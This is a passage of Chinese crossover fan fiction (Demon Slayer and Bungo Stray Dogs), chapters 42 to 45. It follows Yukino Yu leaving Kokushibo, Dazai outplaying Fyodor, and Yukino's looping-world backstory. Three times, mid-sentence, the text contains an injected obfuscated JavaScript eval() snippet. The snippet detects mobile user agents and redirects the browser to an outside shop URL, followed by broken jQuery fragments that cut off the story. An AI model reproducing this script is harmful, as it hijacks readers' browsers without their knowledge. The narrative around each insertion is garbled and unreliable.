能在瞬息之间,将除他以外的所有人斩杀。 这种力量、这种力量…… 他想到小的时候,第一次遇见鬼之时,那时候他也只是想要拼尽全力地活下来。 而逐渐长大后,他才发现,他想要的并不只有活下来这么简单。 如果只是作为一个普通的农夫活着,他就无法见识到剑士们眼中强大的世界;但等到他真的成为了一个剑士,才发现只倚靠自己的努力是远远不够的。 尤其是当自己拼尽努力,仍被暗自认为天赋不够的时候。 但他会证明自己,证明狯岳这个名字,足以与强大相配。 眼前的画面让雪野夕一时间有些头晕目眩。 “老师!”她勉强压下异样,来到黑死牟身边,“这是……” “不过是一些不自量力的鬼杀队罢了。”黑死牟的语气里还带着一点杀戮过后的凛冽,“夕。” 将虚哭神去交给她拿好,他才转向地面上维持一个姿势一动不动的少年,“你刚刚说……想要得到力量?” 关于老师黑死牟的经历在脑海中一闪而过,雪野夕下意识握紧了拳头。 果然,下一秒,黑死牟的声音就从上方传来—— “好啊。” 手心被割开,血液变成了一道红色的尖刺,最终扎入黑发少年掌心。 “你如果敢让血液滴落一滴,我就让你的头颅也落地。” 一种奇异的血液气息在这一方空间内弥漫,与地面上七零八落的尸体中未流尽的鲜血、森林的土地中蔓延的微微腥气交杂。 紫黑相见的和服与深绿色的森林交错,鲜亮的血液从手心倾倒而出,这就是力量的象征,也就是…… 嫉妒的味道。 雪野夕攥紧了虚哭神去,似乎也听见了这柄由血肉化成的日轮刀的轻轻鸣响。 这就是死棋吧。 一轮苍白的月亮下,只有地上看不清面容的少年在使出全身力气,感受着血液带来的灼烧与力量。 42.左右岔路 “在龙头战争之前,安吾就已经是异能特务科的一份子了。” 昏暗的审讯室内,太宰治坐在椅子上,对着另一侧倒在地上、奄奄一息的人感叹。 但由于对方正在因为拷打过后的伤口剧烈痉挛,恐怕也没什么心思听他讲述前因后果。 这倒显得他像是在自言自语了。 “两年前,横滨出现的异能者狩猎杀手……还记得雪野小姐带回来的调查结果吗?红叶姐。”缠着绷带的人有些不耐烦地站起来,“以及……究竟是谁报道了有关我们港口mafia的事。” “啊嘞,所以眼前这个才是凶手吗?”穿着华丽和服的女人勾起嘴角,“还以为他已经变成那五具碎尸之一了呢。” 动手的人当然是碎尸之一,可在那个人身后,还有一个能操纵情绪的异能者,如今这个异能者就在港口mafia的审讯里、在他们面前—— 操心师,小野慎吾。 “我还以为【操心师】这个称号,会被给予那些头脑更加灵活的人呢。”太宰治跨坐在椅子上,双手撑着椅背,若不是周围的血腥气浓郁,那双弯弯的鸢色眼睛里也许倒映出的就不会是深渊了。 黑沉沉的幕墙上有一盏不断闪烁的小灯,房间里除了厚重的铁门与轻微转动的排气扇,就再也没有通向外界的路。 微弱的灯光照射在房间角落的一排雪亮器具上,那一点明晃晃的光斑也投射在了太宰治的脸侧。 “好好享受在这里的一切吧。”他用指尖有一下没一下地敲着日记本的硬壳,旋律破碎,“如果你只会将自己的能力发泄在横滨无家可归的流浪者身上的话。” 厚重的铁门发出一声闷响,由外而来的风吹散了房间内的闷热硝烟味与血腥气,而这点味道被门口的黑衣人无视彻底,他只是尽职尽责地躬身到一个完全看不清面容的弧度—— “太宰先生,首领请您去他的办公室。” 电梯升入上空,最高的那一层是属于港口mafia的首领。 而在更远的地方呢? “情况我已经知道了。” 嘶哑得不成语调的声音从产屋敷耀哉嘴里说出来,让雪野夕有些恍惚。 毕竟对方虽然是鬼杀队的主公,但在真实年纪上,不过只比她大一两岁而已。 而如今他已经行将就木,终日只能躺在厚重的被褥里咯血,双目失明,身躯无力。 那头柔软的黑发如今干枯地像冬日里的草杆,没怎么经历风吹雨打的皮肤也好似枯树的厚皮。 雪野夕几乎已经嗅到了他身上腐坏的气息。 “虽然明知无礼……咳咳!”他支撑着坐起来,仅仅是这个动作,在妻子与孩子的搀扶下,他都足足用了十二分的力气,“但我一直、都很想感谢你。” 在天音夫人将大部分体重分担过去后,产屋敷耀哉终于有了说话的气力。 “我的孩子们,他们如今都在茁壮成长;克制鬼的药物,也是雪野小姐带来的珠世小姐与香奈惠、忍带来蝶屋的孩子们一并完成的。” “我时常在想,如果雪野小姐没有变成鬼,也一定会成为一个很强大的剑士吧。” “……不。”雪野夕捏紧了手中的衣角,“您为什么会认为我是一个……好人呢?” “我同样杀死过很多的人,哪怕是……” “您可不要小瞧我这个眼盲之人啊。”透过嘶哑的嗓音,依稀还能辨别出声音的主人从前那夏日清泉流过石上的语调,“也许是眼前已经一片虚无吧,心却比以前更加能听到声音。” “我……何尝又不知道,那些被变成鬼的人之前的悲惨呢?”产屋敷耀哉每说出几个字,就要略微停顿下来休息,“即使他们之中忍耐着欲望,但最后却被鬼舞辻无惨拖下了深渊,我的孩子们……也被这欲望裹挟,从而受伤。” “但世人……愿意相信我们的总是少数。” 也许是说了太多的话,他再次咳嗽时嘴角滑落下一缕鲜红。 天音夫人拿过手帕帮他试擦,自始至终,她的眼睛里也满是平静,平静地注视着自己的丈夫,平静地在心中做下决定。 “天音。”产屋敷耀哉抓住了妻子即将离开他面颊的手,“我会撑到那天来临的。” “嗯。”白桦树妖精一样美丽的天音夫人答应他,“我会和你一起。” “去与我的孩子们待在一起吧,雪野小姐。” “我总是相信你们能够成功的。” 如果一个人的能力有限,那么就去做自己该做的;如果一群人的能力也有限,那也做好自己能做的。 雪野夕怀揣着一点沉甸甸的心事站了起来—— 她对鬼杀队的主公,满心复杂。 但敬佩却是真的。 就在她与产屋敷耀哉进行这场谈话前,曾经的鸣柱、现雷呼培育师桑岛慈悟郎在她面前自杀谢罪。 她也曾经抓住了他的刀刃,劝告他活下去比以死谢罪好得多。 但这个已经活了将近一世纪的老人含着眼泪对她笑了一下,“您认为,等如今的孩子们彻底斩灭恶鬼之后,雷呼的培育师还有必要存在吗?” “您就这样自信吗?”她忍不住问他。 “我对这些孩子们,总是相信的。” “如果可以的话,请将这封信带给善逸吧。” “好。” 从回廊远眺,已是黄昏,这样美丽的太阳,她未来也会欣赏许多回吧? “Boss,也许在此之前,我从未如此直白地与您进行过交谈。” 明亮到近乎让人觉得是朝霞地金色光辉将首领办公室劈开,一端是隐没在阴影中的森鸥外,另一半是半个身体沐浴在光下的太宰治。 “但那个人既然将织田作的信息透露给了您,您就要毫不犹豫地去促成这件事吗?”他的语气很平静,称不上质问,却很笃定。 昨日狙击织田作的枪手,所用的枪支型号虽然与Mimic相同,但只要仔细观察子弹的花纹就能发现细微的不同。 “太宰,这是我身为组织的首领所需进行的必要一步。”木桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678335|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,属于首领的笑容依旧完美无缺,太宰治却只感到无趣。 “雪野酱失踪,是你做的吧?”森鸥外看向身边的爱丽丝,上次她们见面时,他还与爱丽丝一起帮雪野编了可爱的小辫子呢。 想想那样的氛围,真是轻松呢。 但可爱的下属如今下落不明,那情况可就不妙了呀。 “Mimic所带来的动荡必须解决。”他的语气非常坚定,“既然我的得力干将雪野小姐不在,我自然要寻找出一个能完美解决问题的【最优解】。” 太宰治的眼睛透过近乎刺目的光辉,看到了首领脖颈上那条颜色鲜艳的红围巾。 下意识地伸手捂住自己被绷带遮蔽的眼睛,他明明已经看清了命运,现在却依旧对做出抉择感到厌烦。 “因为织田作是我的朋友。”他最终后退一步,转过身毫不设防地向外走去,“雪野小姐是……” 也许他说出口了,又也许没有,总之那一串声音即将隐没在大门之后,说不定未来也不会再此地响起。 在他西装大衣的衣角处,是正要落下的太阳,海面之上,冰冷的弦月即将升起。 “夕。”黑死牟眼神冰冷地注视着自己的继子,“你要背叛无惨大人吗?” “我从未说过要向他献上忠诚吧?”雪野夕仰头直视自己老师的眼睛,那三对眼睛居高临下地直视着她,像是尖锐的利刃。 在他的身边,站着的鬼换成了狯岳。 他看着她,像是在看什么不知好歹的东西。 “几百年了,老师,您真的要将日之呼吸断绝于世吗?” 虚哭神去猛地擦过脖颈,带来近乎窒息的冰冷。 “或者说您还想要持续这样的生活?这样的——”她依旧在毫无保留地直视、或者是质问他,“追逐幻影的生活?” “够了!”刀锋这次真的将她的脖颈划开,血液顺着刀尖流淌下去。 “你以为区区鬼杀队——”黑死牟对幻影避而不谈,“你可以离开。” “大人!”身旁的狯岳急迫地出声,却被黑死牟冷淡中饱含警告的一眼扼住喉咙。 “你可以离开告诉那些鬼杀队的剑士们。”他将虚哭神去一寸一寸地收回来,“我也会在此等待他们。” 因为即使再怎么努力,他们的天赋也不可能追赶上你。 眼前的继子也是一样。 他自己……也一样。 雪野夕的血染红了泥土,但这里本就是不久前那些鬼杀队剑士们的埋骨之地。 她与黑死牟互相对望,到了最后发现谁也不肯相让。 “……老师。” 可惜到了最后,她也只能说出这样的话来。 命运的岔路口,如何选择,如何决定,每一步都看似只掌握在自己的手中。 但事实真的如此简单吗? “雪野夕,你真的要背叛无惨大人,即使代价都会是化作灰烬吗?” “太宰君,你真的要违背我的命令,去做一些没有意义的事情吗?” 43.恶鬼杀灭 “这到底是不是真正的媒介?” 一间装潢优美、空气中无时无刻不缭绕着香甜气息与音乐的咖啡厅里,费奥多尔放下了手中的杯子,优雅地勾起嘴角—— “只要两本都到手不就可以了吗?” 话毕,他清瘦的指节在放于桌面上的硬皮日记本上轻敲出声,正是背景音乐的旋律。 “哦?我的挚友,你打算怎么做呢?” 在他对面,依旧是一身夸张小丑服的果戈里注意到费奥多尔口袋里的试管,“话说,那是那个小野先生的血吧?” “夕酱真是太急躁了呢,用异能力砍下了他的双手,但这样做却也将自己异能里留下一部分……只要在极短时间内留存血液并用【龙彦之间】提取,就能得到一块异能力结晶呢。” 有了异能力结晶,又有一本来自于那个世界的日记本,世界融合就不再是无法克服的难题了。 “对了?我们的【同伴】,小野慎吾先生——”果戈里笑眯眯地问费奥多尔,“挚友你打算怎么做呢?” “【操心师】吗?”柔美的北国青年停下打拍子的手,“一个连自己情绪都掌握不好的人,恐怕也没有资格拥有这样的名字吧?” “哈哈哈、哈哈哈哈哈哈!”听见这个答案,小丑疯狂大笑起来,“真不愧是我的挚友啊!轻而易举地就完成了斩断枷锁这一步。” “我们的【同伴】!” 在咖啡店众人逐渐惊恐地注视下,他毫不避讳地站在椅子上大笑着—— “他将会得到真正的自由!” 酒吧内,太宰治还在翻越雪野夕的日记本,时不时还会把脑海里突然冒出来的自杀小灵感记上去。 “喂!太宰!”一身黑衣,还带了口罩和帽子的坂口安吾看着太宰治在本子空白处写下的消极话语和一堆看不懂的图案,语气有些焦急,“这次接头有多难你知道吗?别告诉我你想把时间浪费在写你的自杀小妙招上!” “这怎么会是浪费时间呢。”太宰治一头卷毛看上去色泽暗淡,“我这分明就是在做世界上最有意义的事情。” “但你这么做,雪野小姐回来真的不会骂你吗?”坂口安吾推推眼镜,“好了,你叫我到底有没有事?” “花费时间让我短暂地从港口mafia的控制下脱离,你谈判的目的是什么?” “唉,果然安吾就是个彻彻底底的异能特务科成员,不但说话无趣……”太宰治合上日记本,“就连接头的时候穿着都这么明显啦。” “……我的服装有限。”坂口安吾强行忍住将杯子里的咖啡泼到他脸上的冲动,“虽然很想掉头就走,但此时你没叫上织田作君,想来也不是为了跟我告别吧?” 他作为异能特务科卧底在港口mafia的成员,将在双方谈判后由港口mafia移交回异能特务科,当然需要付出一点代价。 “森先生想付出的代价,都是我不想交付的东西。”眼前黑猫一样的人向他比了个“嘘”的手势,“所以他不会成功的,无论是夸下海口解决肆虐横滨的Mimic也好,还是从你口中套出更多情报也好,都不会实现的。” “但是安吾,虽然交易不会成立,我依旧希望异能特务科能付出本该进行交换的筹码。” “什……”坂口安吾第一时间就明白了什么是港口mafia的首领想要的,可他想不明白的是,眼前的好友为什么要这么做。 “为了三刻构想,安吾。”太宰治说。 你只要知道这个就够了。 是为了保护横滨吗?坂口安吾想。 “我知道了,我会从中斡旋。” 等到友人告辞后,太宰治缠着绷带的手轻轻抚摸过本子中的某一页,那上面是被坂口安吾称为看不懂的奇怪符号,却也是更加重要的东西。 比如说,数个不同世界的排列方式。 无尽的时间中,有无数的世界并存,它们本该像一颗大树上蔓延的枝丫,虽然出自本源,却不会相互穿刺着长在一起。 而来自北国的魔人,想要的却是将其中一个世界的东西当做媒介,引导世界相撞,互相穿刺、交融成为一个新的世界。 很大胆的想法。 太宰治轻笑一声,如果不计较后果,或许他也会觉得这个计划很有趣。 可是现在,是有人在入侵他的庭院啊。 前置条件都已达成,世界即将相撞。 为了维持己方世界的稳定…… 猫猫小声叹了口气,他必须去做一些在时间上必须发生的事啊。 ———— “早就想与上弦之一一战了!”不死川实弥“啪”地拍在桌子上,“等到杀了他,在此之后就是鬼舞辻无惨!” “恶鬼的时代,即将终结。” 即使挑衅来自于上弦一,柱们却没有一个退缩。 可事实不是那么简单的。 “上弦一是我的老师。”雪野夕感觉自己的脖颈里还残留着月呼锋利的气息,“他的实力……非常强。” “即使是除他以外的十二鬼月一起挑战他,老师也不一定会落败。” 应该说,是根本不会失败。 “斑纹、通透世界、强大的再生能力……” 老师,其实你已经站在了剑士的高峰,只是你从没试图回望身后而已。 “下弦被鬼舞辻无惨取消,上弦也已经损失过半,而我们依旧团结在一起。”岩柱悲鸣屿行冥转动着手中的珠串,“最近鬼的消息也越来越少了。” “刚好可以将这段时间用来特训!”炼狱杏寿郎握紧拳头,看向自己的三个继子,“就让我们一起加油吧!” “好耶!”已经开启斑纹的甘露寺蜜璃第一个响应,见同伴们都盯着自己,赶紧又一脸不好意思地蹲下。 “夕小姐。”珠世也拿出一只箱子,“……这是我们一起研究的,能让鬼重新变回人类的药物。” 她轻轻抚摸着箱子,眼神正是看向自己一生中最得意的作品,除了骄傲,还有一点决绝。 “……珠世小姐。”雪野夕接过箱子,“您已经决定好了吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690571|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是的。”穿着和服的女鬼温柔地微笑着,眼睛仍旧像他们第一次见面时那样注视着她。 “愈史郎……会伤心很久吧。” 可是来自心爱之人的请求,是无法拒绝的。 鬼杀队开始聚集队员,进行大范围的训练,包括不限于剑技、耐力、灵敏度、反应力、意志力…… 期间还有富冈义勇没有参加集训,到最后被炭治郎“骚扰”到成功解开了心结的趣事,以及因为活力满满成功让所有队员都爬不起来的炼狱杏寿郎。 雪野夕一直没有注射药物,她也不知道直接在等待些什么。 直到讨伐上弦一的前一天,三小只的到来。 “爷爷他……没有介错人在,那个时候一定很痛苦吧?”我妻善逸在训练的这些天,沉默寡言到像是换了个人,“我要去讨伐上弦一,也为了……杀了狯岳给爷爷报仇。” “我也会去的。”炭治郎的眼神是一如既往的坚定,“无论是为了领略更强大的刀锋也好,还是为了保护大家的信念。” “他们都去,当然别想丢下俺!” “炭治郎!” 在他们辞行前,雪野夕突然叫住了他,“那年冬天,我也许是有机会救下你的家人的,我……” “不是的,雪野小姐。”尽管眼睛里满是温柔的悲伤,灶门炭治郎依旧告诉她,“杀害我的家人却不知悔改的是鬼舞辻无惨,与雪野小姐无关。” “祢豆子曾经告诉我,我无需总是道歉,雪野小姐也是一样的。” 他覆盖在她手背上安慰他的掌心,粗糙到比不上严冬里的树皮,而这却只是一双十几岁少年的手。 “我知道了。”雪野夕将手向上抬起,三小只的手一个接一个地覆盖上来,“活着回来!” 与鬼战斗的剑士们,带着日轮刀在黄昏时出发,他们总是在有利于鬼的环境中与敌人战斗。 在他们离开后,雪野夕将药物注射进了血管中。 当黑死牟被砍下头颅的时候,他在想什么? 不是感叹于当今剑士的强大,也不是在为失败的战斗而懊恼。 他的视野中,始终有一抹红色的衣角。 缘一啊…… 为什么你总是如此强大呢? 我为了追逐你,追逐那一轮太阳,四百年间不惜将自己变成如此丑陋的模样,可是到了最后…… 缘一,哥哥只是想要成为你罢了。 强壮的身躯让他能够在被斩首后仍然存活,身边都是强大而满心警惕的剑士,如今他以无需挣扎。 将虚哭神去向着一对霞柱的方向递出,“……这把刀,可以留给我的继子。” 随着眼泪与头颅的落地,上弦之一,陨落。 而在柱们的欢呼声未曾到达的地方,鎹鸦们正在拼命扇动翅膀。 因为在黑死牟的头颅被斩下的同时,一个男人走进了产屋敷宅邸的大门。 脚步再快,却也无法挡住逝去的生命。 一声巨大的爆炸将产屋敷家化作一片火海。 44.狙击时刻 “果然来了吗?” 费奥多尔坐在一个窗户全被漆黑的遮光窗帘挡住的小屋中,眼前是数块大屏幕,上面正显示着太宰治孤身一人走进Mimic基地的画面。 他的身侧是一杯温度正好的咖啡,水雾蒸腾中,两本一模一样的日记交叠在一起。 这是那天果戈里从鹤见川边带回来的一本,以及被太宰治随身携带、来此之前存放在了他生活的集装箱中的一本。 新带来的那一本他还没来得及翻看,虽然暂时无法分辨它们的真假,但此刻都不重要了。 因为有【书】的存在,任何人都不可能随意地更改命运。 哪怕是仅仅书写一些细枝末节,都必须要符合逻辑才行。 在世界融合的前夕,太宰治根本无法将命运线任意改变。 这就是最高明的手段,就算对手知道这是一个必死的局面又如何呢? 按照他所书写的命运,名为【织田作之助】的个体今天会与Mimic首领纪德同归于尽,如果那个人不是他,也一定会有一个人前来代替他。 ……呵,太宰治,虽说在调查中是个棘手的人,但一味地沉溺于世俗的感情,却让他有了许许多多的弱点呢。 倘若走进来的人是被选定的织田作之助,那么Mimic就会被清除,而他也能顺势拿到由【龙彦之间】产生的两种预测未来的异能力晶体,为接下来的融合世界做准备。 如果来这里的是雪野夕……那计划的实施就更加方便了,以她为融合世界的基点,能省下不少时间。 趁此机会,杀掉太宰治,倒也不算亏。 北国青年咬住了指甲,耐心筹划起自己的下一步计划来。 轰隆的爆炸声掀起巨大的尘烟,也为鬼王的死亡之夜拉开序幕。 雪野夕安静地靠在树干上,感受着自己体内鬼血在横冲直撞。 此时的挣扎……是否也与鬼舞辻无惨有关呢? 冰冷的感觉从肢体末梢一路蔓延,最终在脖颈的血管处轻微跳动起来,眼前的画面就像是老式电视机,黑白雪花不断地在眼前闪过—— 【这是第多少次失败了?】 镜子里的【雪野夕】有点憎恨地看着镜子外的自己。 【你到底在做什么?】 【……】 雪野夕无聊地转着笔,双目无神地盯着前方虚空中的一点,今天,是她计划出逃的第一天。 反抗剧情的后果是什么?她以前试图逃避学习小提琴,最后是以瑚羽小姐的惩罚而告终。 那么假如……她再过分一点呢? 黑发少女猛然推翻了课桌,书本、钢笔、纷乱的纸张与木桌一同被掀翻,巨大的声响与纸张边缘划破空气的声音交织,让她察觉到一种隐秘的畅快。 讲台上的任课教师停下了讲解的动作,僵硬而死板地转过头来,她的眼睛中死气沉沉,脸上的肌肉仍然被操纵着,嘴巴断断续续地发出讲课的声音。 周围的学生们也一样。 原本他们有些在发呆,有些在偷偷吃点心,还有些在本子上乱写乱画些什么。 从她掀翻课桌的那一刻起—— 目之所及的所有人,都转过头来,一边肌肉僵硬地将自己的“指令”运行下去,一边以一个个不自然地姿态盯紧了她。 ……逃亡,将从此刻开始。 大门被“砰”地一声用力打开,很显然来者并没有想要掩饰自己的行踪。 太宰治长长的西装外套在空中划过一道轻巧的弧度,这让脚步轻快的他显得有些俏皮。 余光中有个亮晶晶的影子一晃而过,与十八岁的他嘴角的微笑一样,都是转瞬即逝的存在。 空旷的房间内安静地可怕,Mimic的成员们不知去了哪里。 但这个问题,费奥多尔心中明白,既然已经决定单独来这里面对敌对组织的首领,那么遣开或者杀死其内部成员实在算是一件简单的事情。 从他煽动纪德带领同伴来到横滨开始……目的可不是为了与港口mafia的首领合作,再让他得到心心念念的异能开业许可证啊。 逼迫太宰治离开港口mafia的庇护,才是他计划的第一步。 通往外界的大门牢牢地合上了。 雪野夕靠在卫生间的一面墙壁上,小声地急促喘息。 就在刚刚她掀翻桌子的下一刻,她的老师、同学、好友,无一例外地变成了提线木偶,而对木偶的指令只有一个—— 清除异端。 对此,雪野夕早有准备,她今天特意选了一个坐在门口的位置,方便事情不对立刻破门而出。 一番堪称狼狈地逃亡后,她躲进了一楼的女厕所中休息,公共洗手台处的水龙头不知为何,竟然齐齐地开着,那连绵不断地滴答水声…… 雪野夕极快地抬头看向身前的巨大镜子,镜中人除了皱眉冷漠地瞪她的【雪野夕】,还有不知道何时出现在身侧拐角的源真理子。 “……真理、子?” 被发疯似的按在墙壁上,死死勒住脖子的雪野夕怔愣地看着好朋友冷漠而麻木的眼睛。 现在的她可真像一具真正的人偶啊。 【你究竟在做什么?】 镜中人不耐烦地发出质问。 她依旧是穿戴整齐得体地站在镜子里,不曾有过雪野夕此时头发散乱,脖子被狠狠掐住的窘迫。 【我记得你仔细研究过人类的各个弱点吧?】 【怎样才能一击致命,怎样才能在这种环境下反击……这些我们都已经演练过了呀?】 【所以现在你在做什么?】 镜中人贴近了镜子,眼神愤恨。 【她只不过是被操纵的人偶!是设定好的数据!是需要被打破的幻影!】 雪野夕在一点点地窒息,耳朵在嗡鸣,眼前也在逐渐模糊。 但镜中人本质上也是【雪野夕】,她们心意相通。 ……而【雪野夕】说的是对的。 眼前的真理子,只是人偶,是数据,是幻影。 可是…… 雪野夕死死地抓住了源真理子机械地施加力气的手,将它掰开一点缝隙。 额头上落下的水迹让她执意要睁开眼睛。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13715223|140283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 面无表情的源真理子,正在杀死自己最好的朋友的源真理子。 此时正在不断地流下眼泪。 你是假的吗?那么为什么你是如此真实呢? “……这个世界是真实的吗?我常常对此抱有疑惑。” 太宰治不闪不避地正对着持枪的纪德,“哪怕你此时开枪将我杀死,大概率也不会承担任何灾难的后果。” “那么……”他展开双手,外套被手臂撑开,像是一只即将要起飞的鸟。 他就这么走了过去,好似要再坦然不过地迎接死亡。 纪德下意识扣动了扳机,枪口却是冲着地面的。 ……眼前的少年,并不是那个能给予他永恒的安息之人。 要杀死他吗? 已经沾满鲜血的双手,毫无防备走过来的、面色从容的少年,过去那些……命运。 纪德一点一点地抬起了手臂,最终枪口停在了太宰治的心脏处。 太近了,这个距离,根本无需发动异能力,只要食指轻轻一动,一条年轻的生命又将终结于他手。 “你相信吗?”太宰治握住了他的手腕,“其实我大概是无法坦然地将命运交付于他人之手……这点,雪野小姐也曾说过。” 狙击的弧线穿过玻璃,精准地命中了纪德的太阳穴,坚硬的子弹最终射出头颅,重重撞击在地板上。 “但我对于终结别人的生命这种事……拥有相当的心得。” 太宰治松开手,手心也是几颗子弹,只不过来源是纪德刚刚指着他的那把枪罢了。 自始至终,他的眼睛都如冬日深不见底的黑潭。 原来如此……纪德想努力弯一下嘴角。 这样也很好。 “费奥多尔。”他将子弹随意地扔在纪德开始蔓延血迹的尸体旁边,平静地抬头看向正对着他的监控,“虽然你提前安排了狙击手,但我在横滨的盟友,并不只有港口mafia。” 中原中也按照计划,早已被首领调离横滨出差;雪野夕落入鹤见川,下落不明;森鸥外因为异能许可证以及对太宰治的忌惮,现在已经不再能成为他的助力。 这些信息是明牌。 “枪法很准嘛,织田君。”江户川乱步蹲在楼顶,身边是手持狙击枪的织田作之助与被打晕的狙击手。 那天,以雪野夕送来的咖喱君的地址为开端,武装侦探社的江户川乱步以及港口mafia的太宰治相遇了。 这是某件小事的开端,却非一切的开始。 当一只蝴蝶扇动翅膀,所带来结果却能与命运大相庭径。 “噗呲——” 赤红的血液喷涌,桌子上的一切都无法避免。 身体无法自控地向前倾倒,正好打落了交叠在一起的两本日记。 纸页散乱,其上的笔记即使被血液浸染也依旧清晰可见。 紫红色眼眸猛然瞪大,费奥多尔不可置信地低头,看向从自己胸口贯穿而出的刀刃。 刀刃恰好穿过心脏,可见持刀者在终结别人生命这方面,很有心得。 “……雪野酱?” 45.无垠之镜 雪野夕在被困于一眼望不到尽头的时间中时,在有限的自由活动时间也会尝试做点别的,比如看看书,打打游戏,写一些无意识的发疯随笔。 异变是从某一日产生的。 在一次写完一片愤世嫉俗的小作文后,那本硬皮日记本被她随意地瘫在了桌子上风干了两天,等到雪野夕想起它时,却发现其上多了另一个人的笔记—— 【这就是你想要毁灭这个世界的原因吗?有趣。】 雪野夕头上冒出一个大大的问号,过了这么久,她终于精神分裂出另一个人格陪自己聊天了? 出于绝对的无聊,雪野夕捡起钢笔,在那行散漫又漂亮的笔记下写了一句“你是谁?” 对方很快给出了回复,他说【我的名字是费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。】 啊?雪野夕满头雾水地抬头看了一眼书架上的俄国名著,这个人是在玩抽象吗? 还是说他和大作家重名? 呃,说不定这是他的人设呢? 雪野夕陷入沉思,难不成自己的第二人格还会给自己安上一个他国作家的身份吗? 【我与小姐一样,都是真实的人类哦。】 日记上很快就出现了这样一行字,书写者似乎很轻易地就猜出了她的内心想法。 果然!还说不是第二人格! 【……】 【请问小姐,您的名字是?】 哈?雪野夕冷笑一声,【你自己心里清楚。】 另一个世界中,正处于温暖壁炉旁执行计划的费奥多尔:? 一场跨世界的交流,就在开局不利的情况下磕磕绊绊地展开,雪野夕与费奥多尔竟然真的在这种情况下成为了笔友。 北境的魔人一直认为,自己的计划十拿九稳,他甚至还会时不时与需要利用的少女交流演奏提琴的技巧,就是对方经常问及写书的进度以及革命是否顺利让他稍稍感到奇怪。 总感觉她认知中的费奥多尔和他本人有些区别。 雪野夕一直觉得,自己的笔友过于奇特。 当然,他的名字已是不同凡响,但也不影响什么大事,更加让她感到惊奇的是,对方居然具有一个比较崇高的理想。 笔友君表示,自己生活在一个不同寻常的世界,这个世界中拥有异能力的存在,异能者们运用自己的异能力互相厮杀,给世界和大多数普通人带来无穷的麻烦。 为此,他要缔造一个没有异能者的新世界。 得知此事的雪野夕大感震撼。 她笔尖一刻不停地给笔友回信—— 【老是说我还以为你在玩抽象,因为你不觉得这个理想过于,呃,庞大了?我指的是,你试图用自己一个人的力量完成需要全人类共同完成的事业。】 其实费佳同学还是有些班底的,但他的班底……怎么名字一个个也如此眼熟。 看来她确实该睡觉了。 【哦?雪野酱认为我不可能实现吗?】 本子上出现了费佳的回复。 【比较困难。】雪野夕委婉地写着,【而且你试图和我这个女子高中生讨论这个异世界的发展什么的是不是有点太虚无了?】 【呵呵,给出的答案竟然不是可能性为0吗?】 我那是礼貌,呵呵你个大头鬼啊!殉道者剧本什么的,最麻烦了。 在脑海里过了一圈从此把日记本君放进碎纸机的想法后,对面也很快地转移了话题—— 【雪野酱有尝试过改变自己的世界吗?】 【……】 【我有一个建议,要不要听听看呢?】 在雪野夕奋笔疾书的书桌上,有一大一小两面镜子,镜子里的人都一动不动、面无表情地注视着她回信的这一幕。 其中有一个开口,“所以他的目的就是这个无聊的世界吗?” 另一个斜乜了她一眼,“但我想听听他的建议。” 【当世界交融时,旧的枷锁将被打破,新的世界就此诞生。】 “原来是这个想法吗?”背对着她们的一面全身镜中,【雪野夕】懒洋洋地靠在镜子里,发表了自己的意见,“我才不相信世界上会有那么好心的人。” 在这个无尽轮回的世界中,她即使经历死亡,也会被重新读档重来,死亡唯一能留下的痕迹就是镜中的自己。 每当她历经一次死亡,镜子里的【雪野夕】就会多出一个。 在数次反抗剧情线后,家中的【雪野夕】已经多达十几个。 现在除了自己会与自己叽叽喳喳地说话,日记本里还多出一个信奉“神”的异世界来客。 ……比起神明,他应该更加信任自己吧? 世界上根本没有神,有的只不过是饱受绝望后破碎又将自己拼接重来的人类。 很显然,费奥多尔也察觉到了她拒绝的念头,好在他的计划内本就没有与雪野夕合作的一环。 雪野夕本就是意外,他只不过是想找到一个全是普通人的下位世界,利用将两个世界强制融合时产生的【特异点】令世界重启、顺便清除所有异能者而已。 至于雪野夕的世界……不过是成功路上的耗材、所需程序的填料而已。 等到新世界诞生,所有的人类,都会生活在一片平等的世界中,那里没有异能者,更不用忍受力带来的不公。 世界融合时所有人都会感受到身体与灵魂被融化的痛苦? 这正是神在洗炼纯洁身体的仪式,新世界破壳的祭祀。 【雪野酱,也许你不会看到我写下的最后一段话,不过我还是希望你能同我分享喜悦——】 【异世界的融合终究会开始,即使你并不赞同,也必然遵从于我,也就是命运。】 【我知道,你并不喜欢将自己的生命交给别人,这在我看来真是一个傲慢的想法啊。】 【因为我会替你做出正确的抉择。】 【期待,新世界重启。】 这是表达喜悦?雪野夕面无表情地坐在桌子前整整看了这段话三遍。 